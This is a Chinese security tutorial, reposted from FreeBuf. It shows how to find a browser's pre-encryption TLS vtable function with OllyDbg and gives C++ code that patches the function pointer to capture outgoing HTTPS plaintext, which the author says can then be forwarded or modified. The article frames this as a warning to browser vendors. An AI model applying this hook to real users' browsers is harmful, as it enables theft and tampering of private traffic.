本篇文章已经发表于freebuf (http://www.freebuf.com/articles/web/131137.html)
现在很多网站都使用了 https 的方案,保证了传输中的数据不被修改或者被第三方封包软件看见,但是由于https有一些隐含的缺陷或者服务器验证的不严格,https被劫持的可能性存在,就像之前出现了”净广大师”病毒劫持https,往百度搜索里插入广告id,他使用的方法就是中间人攻击,强行插入自己的证书实现解密https,今天我们介绍一种浏览器劫持的方法实现https劫持,现在我们就开始分析去找到浏览器中https加密的入口。
(一)分析方法
首先我们打开浏览器(注意:这里涉及的浏览器的名字都会被隐去),输入baidu.com,在baidu里输入666666
我们可以看到baidu搜索时浏览器地址栏里,baidu的网站使用的是https链接地址
接下来使用调试器ollydbg去附加浏览器,然后在命令输入bp WSASend
然后重新点击百度里的搜索按钮,这是调试器会断在WSASend地方:
我们再看堆栈区域,往下翻堆栈会看到
有sha256相关的hash计算的,这里就是说在发送数据之前经过一些tls的计算的过程,下面我继续走掉返回到调用WSASend的地方: 0x66F20F20
这里并不是明文所在的地方,一般进入发包的地方时已经被加密了,我们继续走下去,返回到调用该函数区域的所在函数,因为这个函数没什么特征性,应该还没到达https加密前所在的地方,返回到一个调用比较特别的地方。
当我们返回到这里 CALL DWORD PTR DS:[EDX+8],我们要引起注意,可以大概这样假设,这里是调用 c++一个类的虚表函数。
我们直接下断点在CALL DWORD PTR DS:[EDX+8],然后F9,接下来浏览器就停在了这句代码上,我们具体分析下内存EDX 地址是: 0×68337724
发现此地址确实是个函数表
这时我们在翻堆栈信息时发现了明文的请求信息
按下快捷键: ctrl + G ,输入0x66FC422D,进入该函数地址区域:
66FC4219 E8 020F1401 CALL xxxxxx.6810512066FC421E 83C4 0C ADD ESP,0C66FC4221 03DF ADD EBX,EDI66FC4223 017E 28 ADD DWORD PTR DS:[ESI+28],EDI66FC4226 8BCE MOV ECX,ESI66FC4228 E8 D6000000 CALL chrome_1.66FC430366FC422D 837E 2C 00 CMP DWORD PTR DS:[ESI+2C],066FC4231 0F84 C1000000 JE chrome_1.66FC42F866FC4237 837E 2C FF CMP DWORD PTR DS:[ESI+2C],-166FC423B 0F84 B7000000 JE chrome_1.66FC42F866FC4241 837E 1C FF CMP DWORD PTR DS:[ESI+1C],-166FC4245 0F85 AD000000 JNZ chrome_1.66FC42F866FC424B 8D4424 20 LEA EAX,DWORD PTR SS:[ESP+20]66FC424F 50 PUSH EAX66FC4250 8D4E 34 LEA ECX,DWORD PTR DS:[ESI+34]66FC4253 E8 4DBB2CFF CALL xxxxxxx.6628FDA5
发现这里并没有什么特殊地方我们可以继续F8 单步走下去,当我们走到地址67034AB0,知道我们之前调用有个特殊的函数,call [eax+0x30], 可以猜测这里的调用也是一个虚表里的函数。
接下来我们把之前的所有断点全部禁用
然后在这个函数地方下断点,重新开始baidu搜索,这时浏览器停在了这个函数call [eax+0x30]的地方 ,此时eax值为0x683A1908
查看eax的内存所在的地址确实是个函数表,是虚表没错了,edi地址也有明文。
在分析堆栈,该函数有三个参数
在call [eax+0x30]前有三个
push [ebp+8]push edipush esi
说明该函数是三个参数,在上面堆栈中我们找到前三个值分别是
0x197D8EE8是第一个参数,这是一个c++类地址,因为0x197D8EE8里的值就是eax的值。0x19F2A390 第二个参数为明文缓冲区地址0x6BF 第三个参数为缓冲区的长度
下面我们验证下我们对以上三个参数的验证, 按F9,下次浏览器会继续停在该函数的地方
查看堆栈,确实如上猜测 :
我们再继续回过头分析eax这个值,0x683A1980, 这个地址在当前这个程序的这个代码模块内,且在这个模块的”.rdata”程序段内,那这足以证明该地址就是一个https的加密类,而0×30 的偏移的函数就是加密函数入口。
(二)代码实现
分析到了具体的地方,我们就可以写程序去挂钩这个虚表函数去获取浏览器每次发出去的明文请求。
我们可以定义一个c++ 虚类
class ssl_https;typedef int ( __cdecl *pSSL_Unknow)(ssl_https* bio,const char* buffer ,const int len );typedef int ( __cdecl *pSSL_Crypt)(ssl_https* bio,const char* buffer ,const int len );class ssl_https{public: ssl_https(); ~ssl_https();public: int m_ssl_type; int m_ssl_flags; pSSL_Unknow pSSL_Unknow_1; pSSL_Unknow pSSL_Unknow_2; pSSL_Unknow pSSL_Unknow_3; pSSL_Unknow pSSL_Unknow_4; pSSL_Unknow pSSL_Unknow_5; pSSL_Unknow pSSL_Unknow_6; pSSL_Unknow pSSL_Unknow_7; pSSL_Unknow pSSL_Unknow_8; pSSL_Unknow pSSL_Unknow_9; pSSL_Unknow pSSL_Unknow_10; pSSL_Crypt pSSL_Crypt; pSSL_Unknow pSSL_Unknow_11; pSSL_Unknow pSSL_Unknow_12; pSSL_Unknow pSSL_Unknow_13; pSSL_Unknow pSSL_Unknow_14; pSSL_Unknow pSSL_Unknow_15; pSSL_Unknow pSSL_Unknow_16; pSSL_Unknow pSSL_Unknow_17; pSSL_Unknow pSSL_Unknow_18; pSSL_Unknow pSSL_Unknow_19; pSSL_Unknow pSSL_Unknow_20; pSSL_Unknow pSSL_Unknow_21;};
其中pSSL_Crypt 这个地址就是0×30的偏移的函数指针,接着我就写一个hijack类去实现hook浏览器
class CBrowser{public: CBrowser(); ~CBrowser(); BOOL Init(); static int __cdecl SSL_Crypt(ssl_https* ssl,const char* buffer ,const int len );private: ssl_https* m_sslBio;public: ssl_https* getSslhttps();};CBrowser::CBrowser(){ m_sslBio = NULL;}CBrowser::~CBrowser(){}BOOL CBrowser::Init(){ //待搜索续表所在地址的特征码(都是伪码) BYTE search_bytes[] = {0xa0,0xff,0xaa,0x99,0x8a,0x75,0x0E}; //在浏览器的模块里搜索我们需要找到的特征码 BYTE* bytes_addr = (BYTE*)SearchCodeAddress( "浏览器.dll", ".text", search_bytes, sizeof(search_bytes)); if (bytes_addr) { { ULONG_PTR* pAddress = 0; pAddress = (ULONG_PTR*)(*((ULONG_PTR*)&bytes_addr[8])); if ( pAddress) { //这里是比较续表的大小是否在范围里 if ( abs((long)((pAddress[1]) -(ULONG_PTR) pAddress)) < 0x100) { ssl_https* oril_ssl = (ssl_https*)(pAddress[1]); //分配一个新虚表地址 m_sslBio = (ssl_https*)malloc(sizeof(ssl_https)); if (m_sslBio) { //复制原始虚表函数表 memcpy(m_sslBio,oril_ssl,sizeof(ssl_https)); DWORD dwOldProtect = 0; DWORD dwTemp; ULONG_PTR NewSslCrypt = (ULONG_PTR)SSL_Crypt; //去掉地址保护属性 VirtualProtectEx( GetCurrentProcess(), &oril_ssl->pSSL_Crypt, sizeof(ULONG_PTR), PAGE_READWRITE, &dwOldProtect); //改写地址的值为自己的挂钩函数 if(::WriteProcessMemory( GetCurrentProcess(), &oril_ssl->pSSL_Crypt, &NewSslCrypt, sizeof(ULONG_PTR), NULL)) { VirtualProtectEx( GetCurrentProcess(), &oril_ssl->pSSL_Crypt, sizeof(ULONG_PTR), dwOldProtect, &dwTemp); return TRUE; } VirtualProtectEx( GetCurrentProcess(), &oril_ssl->pSSL_Crypt, sizeof(ULONG_PTR), dwOldProtect, &dwTemp); } } } } } return FALSE;}ssl_https* CBrowser::getSslBio(){ return m_sslBio;}int CBrowser::SSL_Crypt(ssl_https* bio,const char* buffer ,const int len ){ if (getSslBio()) { //在这里我们可以加入自己的分析过滤模块, 对原始请求进行过滤 Analyze(buffer,len); //调用原始的函数表去加密 int nResult = getSslBio()->pSSL_Crypt(bio,buffer,len); return nResult; } return 0;}
在以上代码我们获取了模块加密类的虚表地址后就替换刚才那个偏移地址,修改指针去实现hook,当我们在浏览器里百度搜索时,会停在我们的函数里
Buffer参数
Len值
结果和我们预想的一样,这样我们就通过hook实现了浏览器https明文的截获,在我们的hook函数中我们可以做任何事情,可以过滤数据,可以转发数据,甚至我们还能修改请求数据,如果我们再hook了浏览器的https的解密函数,也能过滤或者修改从服务器端接受的https数据回应信息,实现我们想要的各种功能。
总结
自此本文结束,综上所讲的hook技术能够破坏浏览器程序本身,导致https被劫持,而浏览器却无法察觉,可见浏览器厂商对自身的安全性保障也是一个很重要的、值得他们去深思研究的问题。
(注意:本文只是属于技术分享,请勿用于非正常途径,故而会隐去浏览器的名称)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!